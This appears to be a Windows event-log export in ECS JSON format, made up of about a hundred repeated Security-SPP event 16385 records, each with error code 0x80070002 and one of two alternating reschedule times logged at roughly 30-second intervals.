{"@timestamp":1659057397171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173898}}
{"@timestamp":1659057427176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173899}}
{"@timestamp":1659057457183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173900}}
{"@timestamp":1659057487189,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173901}}
{"@timestamp":1659057517195,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173902}}
{"@timestamp":1659057547202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173903}}
{"@timestamp":1659057577210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173904}}
{"@timestamp":1659057607216,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173905}}
{"@timestamp":1659057637223,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173906}}
{"@timestamp":1659057667230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173907}}
{"@timestamp":1659057697236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173908}}
{"@timestamp":1659057727242,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173909}}
{"@timestamp":1659057757248,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173910}}
{"@timestamp":1659057787255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173911}}
{"@timestamp":1659057817261,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173912}}
{"@timestamp":1659057847268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173913}}
{"@timestamp":1659057877274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173914}}
{"@timestamp":1659057907280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173915}}
{"@timestamp":1659057937286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173916}}
{"@timestamp":1659057967292,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173917}}
{"@timestamp":1659057997299,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173918}}
{"@timestamp":1659058027306,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173919}}
{"@timestamp":1659058057314,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173920}}
{"@timestamp":1659058087322,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173921}}
{"@timestamp":1659058117331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173922}}
{"@timestamp":1659058147338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173923}}
{"@timestamp":1659058177346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173924}}
{"@timestamp":1659058207353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173925}}
{"@timestamp":1659058237360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173926}}
{"@timestamp":1659058267367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173927}}
{"@timestamp":1659058297375,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173928}}
{"@timestamp":1659058327382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173929}}
{"@timestamp":1659058357389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173930}}
{"@timestamp":1659058387396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173931}}
{"@timestamp":1659058417403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173932}}
{"@timestamp":1659058447410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173933}}
{"@timestamp":1659058477417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173934}}
{"@timestamp":1659058507425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173935}}
{"@timestamp":1659058537432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173936}}
{"@timestamp":1659058567439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173937}}
{"@timestamp":1659058597446,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173938}}
{"@timestamp":1659058627453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173939}}
{"@timestamp":1659058657467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173940}}
{"@timestamp":1659058687477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173941}}
{"@timestamp":1659058717483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173942}}
{"@timestamp":1659058747490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173943}}
{"@timestamp":1659058777498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173944}}
{"@timestamp":1659058807504,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173945}}
{"@timestamp":1659058837510,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173946}}
{"@timestamp":1659058867516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173947}}
{"@timestamp":1659058897523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173948}}
{"@timestamp":1659058927528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173949}}
{"@timestamp":1659058957536,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173950}}
{"@timestamp":1659058987542,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173951}}
{"@timestamp":1659059017549,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173952}}
{"@timestamp":1659059047555,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173953}}
{"@timestamp":1659059077562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173954}}
{"@timestamp":1659059107569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173955}}
{"@timestamp":1659059137577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173956}}
{"@timestamp":1659059167583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173957}}
{"@timestamp":1659059197589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173958}}
{"@timestamp":1659059227595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173959}}
{"@timestamp":1659059257601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173960}}
{"@timestamp":1659059287608,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173961}}
{"@timestamp":1659059317615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173962}}
{"@timestamp":1659059347621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173963}}
{"@timestamp":1659059377628,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173964}}
{"@timestamp":1659059407634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173965}}
{"@timestamp":1659059437642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173966}}
{"@timestamp":1659059467648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173967}}
{"@timestamp":1659059497655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173968}}
{"@timestamp":1659059527663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173969}}
{"@timestamp":1659059557669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173970}}
{"@timestamp":1659059587675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173971}}
{"@timestamp":1659059617682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173972}}
{"@timestamp":1659059647688,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173973}}
{"@timestamp":1659059677696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173974}}
{"@timestamp":1659059707704,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173975}}
{"@timestamp":1659059737713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173976}}
{"@timestamp":1659059767723,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173977}}
{"@timestamp":1659059797731,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173978}}
{"@timestamp":1659059827736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173979}}
{"@timestamp":1659059857743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173980}}
{"@timestamp":1659059887749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173981}}
{"@timestamp":1659059917756,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173982}}
{"@timestamp":1659059947763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173983}}
{"@timestamp":1659059977768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173984}}
{"@timestamp":1659060007775,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173985}}
{"@timestamp":1659060037784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173986}}
{"@timestamp":1659060067792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173987}}
{"@timestamp":1659060097797,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173988}}
{"@timestamp":1659060127802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173989}}
{"@timestamp":1659060157808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173990}}
{"@timestamp":1659060187813,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173991}}
{"@timestamp":1659060217818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173992}}
{"@timestamp":1659060247825,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173993}}
{"@timestamp":1659060277830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173994}}
{"@timestamp":1659060307835,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173995}}
{"@timestamp":1659060337840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173996}}
{"@timestamp":1659060367846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173997}}
{"@timestamp":1659060397852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173998}}
{"@timestamp":1659060427860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173999}}
{"@timestamp":1659060457868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174000}}
{"@timestamp":1659060487874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174001}}
{"@timestamp":1659060517881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174002}}
{"@timestamp":1659060547888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174003}}
{"@timestamp":1659060577894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174004}}
{"@timestamp":1659060607900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174005}}
{"@timestamp":1659060637906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174006}}
